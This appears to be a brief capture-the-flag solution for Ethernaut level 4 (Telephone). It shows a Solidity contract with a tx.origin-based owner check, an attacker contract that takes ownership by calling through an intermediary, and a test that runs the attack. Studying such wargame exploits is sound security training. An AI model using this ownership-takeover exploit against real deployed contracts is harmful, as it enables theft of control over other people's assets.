Ethernaut系列-Level 4(Telephone)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

interface ILevel {
    function changeOwner(address _owner) external;
}

contract TelephoneRun {    
    function run(address _levelAddress) external {     
        ILevel(_levelAddress).changeOwner(msg.sender);
    }
}

  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address);
  });